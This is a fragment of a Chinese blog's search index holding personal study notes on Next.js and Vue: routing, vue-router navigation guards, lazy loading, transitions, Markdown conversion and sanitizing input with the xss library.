goData(){\rRouter.push('/hallo?name=hallo')\r}\r或者用对象的方式\nRouter.push({\rpathname: \u0026quot;/hallo\u0026quot;,\rquery: {name: \u0026quot;hallo\u0026quot;}\r})\r路由的钩子函数\nrouteChangeStart // 路由将发生变化的时候触发\nrouteChangeComplete // 路由发生变化完成\nbeforeHistoryChange // 在history触发前，nextjs路由变化默认是通过history进行的\n正常情况下先触发routeChangeStart，然后beforeHistoryChange，再触发routeChangeComplete\nrouteChangeError // 路由变化发生错误时\nhashChangeStart // hash路由将发生变化的时候触发\nhashChangeComplete // hash路由发生变化完成\nhash路由（锚点）\n\u0026lt;div\u0026gt;\r\u0026lt;Link href=\u0026quot;#hallo\u0026quot;\u0026gt;\u0026lt;a\u0026gt;选hallo\u0026lt;/a\u0026gt;\u0026lt;/Link\u0026gt;\r\u0026lt;/div\u0026gt;\r钩子触发调用自定义函数\nRouter.push.on(\u0026quot;routeChangeStart\u0026quot;,(...url)=\u0026gt;{\rconsole.log(\u0026quot;routeChangeStart触发\u0026quot;,...url)\r})\raxios从远端获取数据\nimport axios from \u0026quot;axios\u0026quot;\rHallo.getInitialProps = async() =\u0026gt;{\rconst promise = new Promise((resolve)=\u0026gt;{\raxios(\u0026quot;url\u0026quot;).then(\r(datas)=\u0026gt;{\rconsole.log(datas)\rresolve(datas.data.data)\r}\r)\r})\rreturn await promise\r}\rexport default withRouter(Hallo)\rStyle JSX，Next.js\n\u0026lt;style jsx\u0026gt;\r{`\rdiv{color: red;}\r.post{color: red;}\r`}\r\u0026lt;/style\u0026gt;\r使用jsx，nextjs会自动加入随机类名，防止css污染\n自定义Head\nimport Head from \u0026quot;next/head\u0026quot;\r...\r...\r\u0026lt;Head\u0026gt;\r\u0026lt;title\u0026gt;hallo word\u0026lt;/title\u0026gt;\r\u0026lt;/Head\u0026gt;\rnext打包\nnext build\n运行\nnext start -p 8000\n如果使用antd，打包失败，可以在page目录下建_app.js文件\nimport App from 'next/app'\rimport 'antd/dist/antd.css'\rexport default App\r然后再打包\n页面\n/pages/demo.js\nfunction Demo(){\rreturn(\u0026lt;h2\u0026gt;test\u0026lt;/h2\u0026gt;)\r}\rexport default Demo\rNext会自动完成路由配置\n自定义组件\n/components/demo.js\nexport default ({data})=\u0026gt;\u0026lt;h2\u0026gt;{data}\u0026lt;/h2\u0026gt;\r导入组件\nimport Demo from '../components/demo'\r...\r\u0026lt;Demo\u0026gt;test\u0026lt;/Demo\u0026gt;\r搭配Axios获取远端数据（Next中提供了getInitialProps方法来获取）\n/pages/demo.js\nimport axios from 'axios'\rDemo.getInitialProps = async ()=\u0026gt;{\rconst promise =new Promise((resolve)=\u0026gt;{\raxios('https://xiaochenabc123.test.com/feed/').then(\r(res)=\u0026gt;{\rconsole.log('远程数据结果：',res)\rresolve(res.data.data)\r}\r)\r})\rreturn await promise\r}\rNext CSS(style jsx)\n\u0026lt;style jsx\u0026gt;\r{`\rh2{color: #000;}\r`}\r\u0026lt;/style\u0026gt;\r注意：使用style jsx了，Next会自动生成一个随机类名，来避免CSS的全局污染\nLazyLoading 模块懒加载\nfunction MainData(){\rconst Data= async ()=\u0026gt;{ const axios = await import('axios')\r...\r} 当该函数触发异步加载该模块\n懒加载组件\nimport dynamic from \u0026rsquo;next/dynamic\u0026rsquo; const Demo = dynamic(import(\u0026rsquo;../components/Demo\u0026rsquo;))\n只有当需要用到组件才会被加载，利用的是next提供dynamic模块\n自定义（next自身已经定义了head组件，只需要导入就是可以用了）\nimport Head from 'next/head'\rconst Header = ()=\u0026gt;{\rreturn (\r\u0026lt;\u0026gt;\r\u0026lt;Head\u0026gt;\r\u0026lt;title\u0026gt; 小陈的辣鸡屋 \u0026lt;/title\u0026gt; \u0026lt;/Head\u0026gt;\r\u0026lt;/\u0026gt;\r)\r}\rexport default Header\rantd依赖\n安装next css配置\nNextJS使用@zeit/next-css将会警告，请卸载@zeit/next-css\nWarning: Built-in CSS support is being disabled due to custom CSS configuration being detected.\nantd 按需加载（babel-plugin-import）（当需要哪个组件才会加载到生产环境中，而且不是整个antd）\nyarn add babel-plugin-import\n根目录新建.babelrc配置\n{\r\u0026quot;presets\u0026quot;:[\u0026quot;next/babel\u0026quot;],\r\u0026quot;plugins\u0026quot;:[ [\r\u0026quot;import\u0026quot;,\r{\r\u0026quot;libraryName\u0026quot;:\u0026quot;antd\u0026quot;,\r\u0026quot;style\u0026quot;:\u0026quot;css\u0026quot;\r}\r]\r]\r}\rTurbopack是基于Rust开发的打包器，使用Rust的SWC编译器，Turbopack将作为Nextjs的开发服务端，提供强大的HMR支持，目前还在alpha测试中，可以通过yarn dev \u0026ndash;turbo运行next13项目体验\nTurbopack基于Rust开源的Turbo记忆化框架，Turbo可以缓存函数的结果（存储在内存中，只有当停止dev服务时清除缓存，但是Turbopack也提供了远程缓存来对于生产环境的使用（基于Git）），第二次运行时，不会执行函数，而是直接使用结果，除非发生改变\n","permalink":"https://xiaochenabc123.github.io/posts/74/","summary":"NextJS是一个用于生产环境的react框架，可以提供服务器端渲染等等功能\n服务端渲染（ssr）：后端调用数据库获取数据后，将数据和页面元素进行组合成完整的DOM结构，再返回给浏览器，提供给用户浏览\nSPA：\n全称single page web application\n单一页面，加载慢，百度目前不支持spa的SEO\nNextJS：\n服务端渲染，服务端和客户端数据同步，插件丰富，搭建轻量，灵活配置\n手动配置：\nyarn add react react-dom next\nyarn init\n修改package.json文件\n在scripts下加添加\n\u0026ldquo;dev\u0026rdquo; : \u0026ldquo;next\u0026rdquo;, \u0026ldquo;build\u0026rdquo;: \u0026ldquo;next build\u0026rdquo;, \u0026ldquo;start\u0026rdquo;: \u0026ldquo;next start\u0026rdquo;\n创建个js文件\nfunction Hallo(){\rreturn(\r\u0026lt;div\u0026gt;hallo next.js\u0026lt;/div\u0026gt;\r)\r}\rexport default Hallo\ryarn dev调试\n如果浏览器输出正确则配置成功\n通过create-next-app脚手架创建项目\nnpm install create-next-app -g\n或者\nyarn add create-next-app -g\n创建create-next-app项目\nnpx create-next-app demo\n或者\nyarn create-next-app demo\n跑create-next-app项目\nyarn dev\n访问http://localhost:3000/，正常显示网页则配置正常\n编程式跳转\nimport Link from \u0026quot;next/link\u0026quot;\r\u0026lt;Link href=\u0026quot;/\u0026quot;\u0026gt;\u0026lt;a\u0026gt;返回\u0026lt;/a\u0026gt;\u0026lt;/Link\u0026gt;\rLink不支持直接加兄弟标签，起码要有一个父级标签","title":"NextJS学习笔记"},{"content":"Vue CLI是vue官方脚手架，可以快速创建vue项目\n安装vue-cli3\nnpm install -g @vue/cli\n或者\nyarn global add @vue/cli\n升级\nnpm update -g @vue/cli\n或者\nyarn global upgrade \u0026ndash;latest @vue/cli\n创建vue项目\nvue create vue-demo\n如果提示vue : 无法将“vue”项识别为 cmdlet、函数、脚本文件或可运行程序的名称，可以使用npx vue create vue-demo\ndefault (babel, eslint) // 默认选项，包含babel和eslint\nManually select features // 自定义创建配置工程\n一般比较常用的有Babel，TypeScript，Router，CSS Pre-processors，Linter / Formatter\n空格为选择，enter为下一步\n跑vue项目\nnpm run serve\n或者\nyarn start/yarn run dev\n如果运行报错error Component name \u0026ldquo;Home\u0026rdquo; should always be multi-word vue/multi-word-component-names\n只需要在vue.config.js添加lintOnSave: false配置，例如：\nmodule.exports = defineConfig({\rtranspileDependencies: true,\rlintOnSave: false\r})\r这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了\nVue-router是vue官方推出的vue官方路由管理工具，和vue核心深度集成\n该Vue-router路由被用于单页面应用，组件的切换，而不想其他那样可以使用超链接来切换页面\n安装router\nnpm install vue-router \u0026ndash;save-dev\n或者\nvue add router\n例如：\nApp.vue\n\u0026lt;template\u0026gt;\r\u0026lt;router-link to=\u0026quot;/Home/Index\u0026quot;\u0026gt;hallo index\u0026lt;/router-link\u0026gt;\r\u0026lt;router-link to=\u0026quot;/Hallo\u0026quot;\u0026gt;hallo\u0026lt;/router-link\u0026gt;\r\u0026lt;router-view\u0026gt;\u0026lt;/router-view\u0026gt;\r\u0026lt;/template\u0026gt;\rrouter.js\nimport {createRouter, createWebHashHistory} from \u0026quot;vue-router\u0026quot;\rimport Hallo from './components/Hallo'\rimport Home from './components/Home'\rimport Index from './components/Index' const routes = [ {\rpath: \u0026quot;/Home\u0026quot;, name: \u0026quot;Home\u0026quot;, component: Home,\rchildren: [\r{path:\u0026quot;/\u0026quot;,component: Home},\r{path:\u0026quot;Index\u0026quot;,component: Index}\r]\r},\r{\rpath: \u0026quot;/Hallo\u0026quot;,\rname: \u0026quot;Hallo\u0026quot;,\rcomponent: Hallo\r}\r]\rconst router = createRouter({\rhistory: createWebHashHistory(),\rroutes: routes\r})\rexport default router\rmain.js\nimport { createApp } from 'vue'\rimport App from './App.vue'\rimport router from './router'\rcreateApp(App).use(router).mount('#app')\r为路由匹配到组件（路由视图），它会表示渲染出使用切换的组件\npath是链接路径，name为链接名称，component为导入的组件模板名，多个地址用逗号分开，children为子路由声明，\n带参数的动态路由\nUser.vue\n\u0026lt;template\u0026gt;\r\u0026lt;div\u0026gt;\r{{ $route.params.id }}\r\u0026lt;/div\u0026gt;\r\u0026lt;/template\u0026gt;\rrouter.js\n{ path: \u0026ldquo;/User/:id\u0026rdquo;, name: \u0026ldquo;User\u0026rdquo;, component: User }\n访问http://localhost:8080/#/User/admin\n可以看页面显示了admin，说明通过路由传递了参数到模板中，其中id的参数在模板是以$route.params.id方式获取的\n去掉#：因为我这里vue-router路由模式设置为hash（createWebHashHistory），需要开启history（createWebHistory）\nimport {createWebHistory} from \u0026quot;vue-router\u0026quot;\rconst router = createRouter({\rhistory: createWebHistory(),\rroutes: routes\r})\r获取获取以什么开头的路由\n{\rpath: '/User:pathMatch(.*)*',\rname: 'User',\rcomponent: User\r},\r可以看到使用了路由，例如http://localhost:8080/Useraaa/等等，只要是Userxxx以及Userxxx/xxx都会渲染User组件\npath: \u0026lsquo;/User:afterUser(.*)\u0026rsquo;,这个效果和上面一样\n当Url需要纯数字时：\n{\rpath: '/User/:id(\\\\d+)',\rname: 'User',\rcomponent: User\r},\rhttp://localhost:8080/User/666\n复用参数（0个或多个用*，1个或多个用+）\n在上面的基础上改：\n{\rpath: '/User/:id(\\\\d+)+',\rname: 'User',\rcomponent: User\r},\r访问http://localhost:8080/#/User/666/111，可以看到，模板的{{ $route.params.id }}，渲染出[ \u0026ldquo;666\u0026rdquo;, \u0026ldquo;111\u0026rdquo; ]这样的数组，而不是字符串了，因此可以使用$route.params.id[1]，来精确获取第几个路由\n嵌套路由（User路由中使用了Admin路由，子路由）\nUser.vue\n\u0026lt;template\u0026gt;\r\u0026lt;div\u0026gt;\r{{ $route.params.id }}\r\u0026lt;router-view\u0026gt;\u0026lt;/router-view\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;/template\u0026gt;\rUserAdmin.vue\n\u0026lt;template\u0026gt;\r\u0026lt;div\u0026gt;\rhallo admin\r\u0026lt;/div\u0026gt;\r\u0026lt;/template\u0026gt;\rrouter.js\n{\rpath: '/User/:id(\\\\d+)+',\rname: 'User',\rcomponent: User,\rchildren: [\r{\rpath: 'admin',\rcomponent: UserAdmin\r}\r]\r},\r访问http://localhost:8080/#/User/666/admin，可以看到hallo admin\n编程式路由（非router-link）\nApp.vue\n\u0026lt;template\u0026gt;\r\u0026lt;div @click=\u0026quot;goAdmin\u0026quot;\u0026gt;go\u0026lt;/div\u0026gt;\r\u0026lt;br/\u0026gt;\r\u0026lt;router-view\u0026gt;\u0026lt;/router-view\u0026gt;\r\u0026lt;/template\u0026gt;\r\u0026lt;script\u0026gt;\rimport {useRouter} from 'vue-router'\rexport default{\rsetup(){\rconst router = useRouter()\rlet goAdmin = () =\u0026gt;{\rrouter.push(\u0026quot;/User/123\u0026quot;)\r}\rreturn{\rgoAdmin\r}\r}\r}\r\u0026lt;/script\u0026gt;\r可以看到点击了\u0026lt;div @click=\u0026ldquo;goAdmin\u0026rdquo;\u0026gt;go，就会跳转到http://localhost:8080/User/123\n除了通过字符串外，还可以router.push({path: \u0026lsquo;/User/123\u0026rsquo;})\n传递参数（模板{{ $route.params.id }}）\nparams方式\nrouter.push({name: \u0026lsquo;User\u0026rsquo;, params: { id: 666 }})\n访问http://localhost:8080/User/666\nquery方式\nrouter.push({path: \u0026lsquo;/User\u0026rsquo;, query: { id: 123 }})\n访问http://localhost:8080/User?id=123\nquery方式获取参数，需要使用{{$route.query.id}}，而不是$route.params.id了\nhash方式\nrouter.push({ path: \u0026lsquo;/User\u0026rsquo;, hash: \u0026lsquo;#admin\u0026rsquo; })\n访问http://localhost:8080/User#admin\n使用{{$route.hash}}获取参数\n动态路由参数\nlet user = \u0026lsquo;admin\u0026rsquo; router.push({ name: \u0026lsquo;User\u0026rsquo;, params: { user } })\nreplace（使用该跳转，将不会创建会话历史记录，会替代上一个会话的记录）\nrouter.replace({ path: \u0026lsquo;/User\u0026rsquo;})\n使用replace: true参数也是可以给push设置（push的replace默认为false）\nrouter.push({ path: \u0026lsquo;/User\u0026rsquo;, replace: true })\n会话历史记录跳跃\n前进n条记录（前进2页） router.go(2)\n返回n条记录（后退2页面）\nrouter.go(-2)\n例如：\nApp.vue\nimport {useRouter} from 'vue-router'\rexport default{\rsetup(){\rconst router = useRouter()\rlet goAdmin = () =\u0026gt;{\rrouter.go(2)\r}\rreturn{\rgoAdmin\r}\r}\r}\r路由的name属性的作用：\n除了像这样用外Go\n还可以用name属性指向一个路由的path，防止路由地址写错，设置params属性给模板接收参数（这个参数不会作用于URL），Go\n当需要在同级下渲染多个router-view，如何确保其router-view渲染的是自己想要的，利用router-view的name属性（该属性默认值为default）\nApp.vue\nrouter.js\nimport User from './components/User.vue' import A from './components/a.vue' import B from './components/b.vue' import C from './components/c.vue' const routes = [ {\rpath: '/User',\rname: 'User',\rcomponents:{\rdefault: User,\ra:A,\rb:B,\rc:C\r}\r}\r]\rconst router = createRouter({\rhistory: createWebHashHistory(),\rroutes: routes\r})\rexport default router\r访问http://localhost:8080/User，可以看到渲染出了a组件，b组件，c组件\n其中router.js的小写a就是指向了router-view的name属性，大写的A就是组件，和name属性对应上（键值对），将其对应渲染到相应的router-view中\ncomponents属性为多组件配置\n重定向（当希望访问到某个路由时，能跳转到另一个路由时）\nconst routes = [ {\rpath: \u0026quot;/Home\u0026quot;, name: \u0026quot;Home\u0026quot;,\rredirect: '/', components: {\rdefault: Home\r}\r}\r]\r访问http://localhost:8080/Home\n设置还可以指向一个路由的name属性，const routes = [{ path: \u0026lsquo;/Home\u0026rsquo;, redirect: { name: \u0026lsquo;User\u0026rsquo; } }]\n另外如果一个路由使用了redirect重定向，那么是可以不用写component了，因为不会真正访问到（访问到就重定向到另一个路由了），但是存在子路由时就需要写component了\n当重定向发生时，也需要传递参数到重定向时，例如：\n{\rpath: '/User/:id',\rname: 'User',\rcomponents:{\rdefault: User,\r} ,\rredirect: to =\u0026gt;{\rreturn { path: '/', query: { id: to.params.id } }\r}\r}\r当访问http://localhost:8080/User/123时，会重定向到http://localhost:8080/?id=123，如果/User/123的123，被传到query了，另外还可以在重定向的目标组件模板用{{$route.query.id}}获取到该参数\n重定向别名\n{\rpath: \u0026quot;/Home\u0026quot;, name: \u0026quot;Home\u0026quot;,\rcomponents: {\rdefault: Home,\r},\ralias: '/User',\r}\r别名就是访问http://localhost:8080/User/时，实质上是访问/Home这个路由，和redirect的区别就是，redirect会改变URL，而alias不会改变URL\n利用子路由来给多路由匹配组件\n{\rpath: \u0026quot;/Home/:id\u0026quot;, name: \u0026quot;Home\u0026quot;,\rcomponent: Home,\rchildren: [\r{ path: '', component: Homea, alias: [':id','admin', '/User'] },\r]\r}\r当访问http://localhost:8080/Home/123，http://localhost:8080/Home/admin，http://localhost:8080/User时，渲染的是Home组件\n路由props传参（通过props接收参数）\nroutes.js\n{\rpath: '/hallo/:id',\rcomponent: Home,\rprops: true\r}\rHome.vue\n\u0026lt;template\u0026gt;\r\u0026lt;div\u0026gt;\rhallo {{id}}\r\u0026lt;/div\u0026gt;\r\u0026lt;/template\u0026gt;\r\u0026lt;script\u0026gt;\rexport default {\rprops: ['id']\r}\r\u0026lt;/script\u0026gt;\r当props为true时，其route.query（router.params）将被设置为该组件的属性，可直接访问其参数\n对于有命名视图的路由，必须为每个命名视图定义props配置，例如：\n{\rpath: \u0026quot;/Home/:id\u0026quot;, name: \u0026quot;Home\u0026quot;,\rcomponents: {\rdefault: Home,\rindex: Index\r},\rprops:{\rdefault: true, index: false\r}, },\r在上面例子中props是对象形式，可以看到index组件就算props接收了id参数，但是因为其路由props设置了false，导致其route.query（router.params）没有设置为该组件的属性，因此没有id参数\nroutes.js\n{\rpath: \u0026quot;/Home\u0026quot;, name: \u0026quot;Home\u0026quot;,\rcomponent: Home,\rprops: (route) =\u0026gt; ({id : route.query.id }) },\rHome.vue\n\u0026lt;template\u0026gt;\r\u0026lt;div\u0026gt;\rhallo {{id}}\r\u0026lt;/div\u0026gt;\r\u0026lt;/template\u0026gt;\r\u0026lt;script\u0026gt;\rexport default {\rprops: ['id']\r}\r\u0026lt;/script\u0026gt;\r访问http://localhost:8080/Home?id=123，Home输出123\n上面例子中route.query.id就是当前query（id=123），将其传入到id中，然后模板接收\n注意：函数模式请不要用于多组件components中，在多组件components中，需要给除default外的组件设置router-view的name属性\n导航守卫（导航守卫实质上就是路由跳转时的钩子函数，守卫是异步执行的）\n全局前置守卫：beforeEach\nrouter.beforeEach((to,form)=\u0026gt;{ return false})\n守卫接收2个参数，to是跳转的目标路由，form是跳转离开的路由，返回值如果为false时，表示取消当前导航，当返回值为路由地址时，会跳转到该路由地址，还有一个next()可选参数，该可选参数表示放行\n当next(false)时，表示取消当前导航，当next(\u0026rsquo;/Home\u0026rsquo;)时，会跳转到/Home（和router.push类似）\n如果守卫抛出Error时，取消导航并且调用router.onError()\n守卫正常时是undefined或返回true\n例如：\nroutes.js\nconst router = createRouter({\rhistory: createWebHistory(),\rroutes: routes\r})\rrouter.beforeEach((to, from, next) =\u0026gt; {\rif (to.name !== \u0026quot;Home\u0026quot;) {\rnext({\rname: 'Home'\r})\r} else {\rnext()\r}\r})\r像上面的例子中，全局路由守卫将会监听要跳转的路由的name属性是否为Home，如果不是Home就会调用next()方法跳转到name为Home的路由，如果是Home的话守卫放行\n全局解析守卫：beforeResolve\n全局解析守卫和全局前置守卫类似，都是路由跳转前调用，但是beforeResolve会在beforeEach（全局前置守卫）和beforeRouteEnter（组件路由守卫）之后触发，afterEach（全局后置守卫）之前触发\nrouter.beforeResolve((to, from, next) =\u0026gt; {\rif (to.name !== \u0026quot;Home\u0026quot;) {\rnext({\rname: 'Home'\r})\r} else {\rnext()\r}\r})\r可以看到效果和beforeEach一样\n全局后置守卫：afterEach（没有next()，全局后置守卫顾名思义，就是路由跳转后触发）\nrouter.afterEach((to, from) =\u0026gt; {\rconsole.log(to.name)\rconsole.log(from.name)\r})\r路由独享的守卫beforeEach（在路由内部定义的beforeEach守卫）\n{\rpath: \u0026quot;/Home\u0026quot;, name: \u0026quot;Home\u0026quot;,\rcomponent: Home,\rbeforeEach: (to,from) =\u0026gt;{\rif (to.name !== \u0026quot;Home\u0026quot;) {\rnext({\rname: 'Home'\r})\r} else {\rnext()\r}\r}\r},\r路由独享的守卫beforeEach只在进入路由时触发（params，query，hash改变并不会触发）\n组件路由守卫：beforeRouteEnter，beforeRouteUpdate，beforeRouteLeave\nbeforeRouteEnter：在渲染该组件时对应的路由被确定前触发，在该守卫触发时，组件实例未被创建，因此不能获取组件实例的任何东西\nbeforeRouteUpdate：当前路由发送改变，但是该组件又被复用时触发，比如传参，只是改变参数，但是复用了当前组件，该守卫触发时，组件实例已被挂载，可访问组件实例\nbeforeRouteLeave：当导航离开渲染该组件的路由时触发，可访问组件实例\n例如：\nHome.vue\nexport default {\rbeforeRouteEnter(to, from, next) {\rnext(vm =\u0026gt;{\rconsole.log(vm) // 可以看到vm是组件实例，说明可以通过next来访问组件实例，next()会在导航被确认时被回调\r})\r},\rbeforeRouteUpdate(to, from, next) {\rif (to.name !== \u0026quot;Home\u0026quot;) {\rnext({\rname: 'Home'\r})\r} else {\rnext({\rname: 'User'\r})\r}\rconsole.log(to.name)\rconsole.log(from.name)\r},\rbeforeRouteLeave(to, from, next) {\rif(to.name !==\u0026quot;Home\u0026quot;){\rif(confirm('您的信息还未保存，确定要离开吗？') == true){\rnext()\r}else{\rnext(false)\r}\r}\rconsole.log(to.name)\rconsole.log(from.name)\r},\r}\r路由元信息（路由meta字段属性）\n{\rpath: \u0026quot;/Home\u0026quot;, name: \u0026quot;Home\u0026quot;,\rcomponent: Home,\rmeta: { ha: false }\r}\r},\rrouter.beforeEach((to, from, next) =\u0026gt; {\rif (to.name == 'Home' \u0026amp;\u0026amp; to.meta.ha){\rnext()\r}else{\rnext(false)\r}\r})\r路由懒加载（动态导入）\nconst User = () =\u0026gt; import('./components/User.vue')\rconst routes = [{ path: '/User', name: 'User'\rcomponent: User }]\r动态路由\nconst routes = [{ path: '/:id', name: 'User'\rcomponent: User }]\rconst router = createRouter({\rhistory: createWebHistory(),\rroutes: routes\r})\rrouter.addRoute({ path: '/Home',name: 'Home', component: Home }) // 添加路由\rrouter.removeRoute('Home') // 删除路由\r注意：当路由被删除时，路由别名和子路由同时也被删除\n不只是在路由router中设置，还可以在路由守卫设置，而且当2个addRoute路由的name重名时，也会触发删除路由，当路由没有name属性时，可通过定义回调函数，让其重新添加路由（实质上是删除路由，因为重复了）,例如：\nconst RoutesData = router.addRoute(path: '/Index', component: Home )\rRoutesData()\r嵌套路由\nrouter.addRoute({ path: '/User', name: 'User', component: User })\rrouter.addRoute('User', { path: 'Admin', component: Home })\rvue中解决xss脚本攻击（依赖于xss模块）\nnpm install xss \u0026ndash;save\n引用xss模块\nimport xss from 'xss'\rObject.defineProperty(Vue.prototype, '$xss', {\rvalue: xss\r})\r在评论框或者其他输入框等等要针对免疫xss地方使用$xss()方法\n自定义拦截规则\n在data字段，return字段下设置白名单，格式就是标签名加属性，只要不是白名单的标签和属性，就是会被过滤掉\noptions : {\rwhiteList: {\ra: ['href', 'title'],\rdiv: ['class']\r}\r}\rvue中解决html和Markdown转换\nMarkdownToHtml（处理md转换为html）\nnpm install showdown \u0026ndash;save\n使用方法：\nimport showdown\rlet converter = new showdown.Converter()\rlet text = '# hallo word' // md格式的文本\rlet html = converter.makeHtml(text)\rHtmlToMarkdown（处理html转换为md）\nnpm install turndown \u0026ndash;save\n使用方法：\nimport turndown\rlet turndownService = new turndown()\rlet markdown = turndownService.turndown('\u0026lt;h1\u0026gt;hallo word\u0026lt;/h1\u0026gt;')\rvuejs是声明式视图层框架，视图层框架分为命令式和声明式两种，命令式关注过程，声明式关注结果，命令式的代码描述了工作过程，而声明式的代码只声明，结果由框架来提供\nvuejs内部实现肯定是命令式的，但是进行封装了工作过程，对外暴露的是声明式，声明式的性能并没有命令式的性能优，因为命令式的工作流程一目了然，去除或者添加某个功能，理论上能做到最优性能\n而声明式只关注了结果，需要查找前后代码的差异（虚拟dom+diff算法），然后再更新，vuejs选择声明式的方案是为了可维性，不需要关心工作过程，只需要关注结果就好了\n虚拟DOM对比innerHTML操作DOM\n创建DOM：虚拟DOM和innerHTML操作DOM都是创建所有DOM元素，因此虚拟DOM和innerHTML操作DOM基本上性能是一致的（DOM层计算）\n更新DOM：innerHTML操作DOM更新是先重新创建HTML字符串，然后再更新DOM元素（销毁旧的DOM元素，重新创建一个完整的DOM元素），而虚拟DOM是通过创建新的JavaScript对象，然后前后俩个JavaScript对象进行DIff比较，得到差异，只更新差异\n不难看出，虚拟DOM的优势在于更新DOM\n渲染器的作用就是将虚拟DOM（JavaScript对象）渲染成真实的DOM\n渲染器将JavaScript对象的值获得，并且以原生JavaScript方式渲染出来，当tag为字符串时，渲染标签元素，如果是函数（或者对象）那么表示该是组件，组件函数返回值本身就是虚拟DOM，如果是对象的话，获取对象的render函数，得到其返回值（这个实质上也是虚拟DOM），编译器（模板）原理上和渲染器是一样的\ntransition（过渡和动画）\n过渡：元素属性从一个属性过渡为另一个属性，例如元素的背景颜色从黑色过渡到白色\n动画：一个元素从一个地方移动到另一个地方\nvue内置了组件和API来完成动画和过渡\n过渡：\nconst app = Vue.createApp({\rdata(){\rreturn {\rishallo: false\r}\r},\rmethods:{\ronhalloClick(){\rthis.ishallo = ! this.ishallo\r}\r},\rtemplate: ` \u0026lt;button @click='onhalloClick'\u0026gt;点我隐藏/显示\u0026lt;/button\u0026gt;\r\u0026lt;transition\u0026gt;\r\u0026lt;div v-if=\u0026quot;ishallo\u0026quot;\u0026gt;hallo word\u0026lt;/div\u0026gt;\r\u0026lt;/transition\u0026gt;\r`\r})\rconst vm = app.mount(\u0026quot;#app\u0026quot;)\r动画\nvue\nconst app = Vue.createApp({\rdata(){\rreturn {\rishallo: false\r}\r},\rtemplate: ` \u0026lt;div :class='{ hallo: ishallo }'\u0026gt;\r\u0026lt;button @click='ishallo = true'\u0026gt;点我触发动画\u0026lt;/button\u0026gt;\r\u0026lt;div v-if=\u0026quot;ishallo\u0026quot;\u0026gt;hallo word\u0026lt;/div\u0026gt;\r\u0026lt;/div\u0026gt;\r`\r})\rconst vm = app.mount(\u0026quot;#app\u0026quot;)\rcss样式\n.hallo {\ranimation: hallo 1s linear\r}\r@keyframes hallo {\r0% {\rtransform: translate3d(0px, 0, 0)\r}\r10% {\rtransform: translate3d(-2px, 0, 0)\r}\r60% {\rtransform: translate3d(2px, 0, 0)\r}\r100% {\rtransform: translate3d(0px, 0, 0)\r}\r}\r硬件加速：使用了perspective，backface-visibility和transform: translateZ()都可以触发硬件加速\n解决过渡和动画时间不一致\n，当使用该属性，动画结束，过渡会跟着结束\n，当使用该属性，过渡结束，动画会跟着结束\n统一管理动画和过渡时间\n，该属性值单位为毫秒，意思为1秒后结束动画和过渡\n，enter为进入动画和过渡时间，leave为离开动画和过渡时间\ntransition内置组件在一个过渡周期会触发6个状态，分别是v-enter-from，v-enter-active，v-enter-to，v-leave-from，v-leave-active，v-leave-to\nv-enter-from：表示过渡的开始状态，元素插入之前触发，元素插入后的下一帧移除\nv-enter-active：表示过渡生效时状态，在元素插入之前触发，在动画和过渡完成后移除\nv-enter-to：表示过渡的结束状态，在元素插入后下一帧触发，在动画和过渡完成后移除\nv-leave-from：表示离开过渡的开始状态，离开过渡时立即触发，下一帧后移除\nv-leave-active：表示离开过渡的生效状态，离开过渡时立即触发，在动画和过渡完成后移除\nv-leave-to：表示离开过渡的结束状态，离开过渡后下一帧触发，在动画和过渡完成后移除\n用法：\nconst app = Vue.createApp({\rdata(){\rreturn {\rishallo: false\r}\r},\rtemplate: ` \u0026lt;transition\u0026gt;\r\u0026lt;button @click='ishallo = true'\u0026gt;点我触发动画\u0026lt;/button\u0026gt;\r\u0026lt;div v-if=\u0026quot;ishallo\u0026quot;\u0026gt;hallo word\u0026lt;/div\u0026gt;\r\u0026lt;/transition\u0026gt;\r`\r})\rconst vm = app.mount(\u0026quot;#app\u0026quot;)\r样式\n.v-enter-active{\ranimation: hallo 1s; // 表示入场时触发时hallo动画\r}\r.v-leave-active{\ranimation: hallo 1s; // 表示出场时触发时hallo动画\r}\r@keyframes hallo {\r0% {\rtransform: translate3d(0px, 0, 0)\r}\r10% {\rtransform: translate3d(-2px, 0, 0)\r}\r60% {\rtransform: translate3d(2px, 0, 0)\r}\r100% {\rtransform: translate3d(0px, 0, 0)\r}\r}\r关闭css动画：，使用该属性表示将通过组件事件来触发动画，不再使用css动画了\n过渡模式：，该属性有2个值，out-in和in-out，默认同时进行\nout-in：当前元素先进行过渡，完成后新元素过渡进入\nin-out：新元素先进行过渡，完成后当前元素过渡离开\n该常用于动态组件的切换过渡，也是说out-in是当前元素先进行过渡，切换到新元素时，过渡进入，而in-out是新元素过渡，切换到当前元素时过渡离开\nname属性：，该属性表示自动生成css过渡类名，像例子中的，将生成为.hallo-enter等等，就是将过渡周期中的6个状态的v改成name属性值了\nvue devtools调试工具\n下载https://github.com/vuejs/vue-devtools\n解压，并且在该目录执行npm install\n修改manifest.json（该文件在项目目录的packages/shell-chrome），将persistent改为true\n打包npm run build\n以谷歌浏览器为例子，加载已解压的扩展程序，选择刚刚打包的目录的packages/shell-chrome文件夹\nvue3引入了tree-shaking技术，当没有在项目中使用某个模块时，那么该模块的代码将不会出现在打包中\nvue3抛弃了Object.defineProperty，改用Proxy来做数据的响应式\nvue3不再使用src托管，而采用monorepo管理\nvue3采用typescript编写源码，对typescript的兼容更好，vue2使用的是flow来处理类型检查\nvue3提供了Composition API，对于逻辑复用支持更好\n","permalink":"https://xiaochenabc123.github.io/posts/75/","summary":"Vue CLI是vue官方脚手架，可以快速创建vue项目\n安装vue-cli3\nnpm install -g @vue/cli\n或者\nyarn global add @vue/cli\n升级\nnpm update -g @vue/cli\n或者\nyarn global upgrade \u0026ndash;latest @vue/cli\n创建vue项目\nvue create vue-demo\n如果提示vue : 无法将“vue”项识别为 cmdlet、函数、脚本文件或可运行程序的名称，可以使用npx vue create vue-demo\ndefault (babel, eslint) // 默认选项，包含babel和eslint\nManually select features // 自定义创建配置工程\n一般比较常用的有Babel，TypeScript，Router，CSS Pre-processors，Linter / Formatter\n空格为选择，enter为下一步\n跑vue项目\nnpm run serve\n或者\nyarn start/yarn run dev\n如果运行报错error Component name \u0026ldquo;Home\u0026rdquo; should always be multi-word vue/multi-word-component-names\n只需要在vue.config.js添加lintOnSave: false配置，例如：\nmodule.exports = defineConfig({\rtranspileDependencies: true,\rlintOnSave: 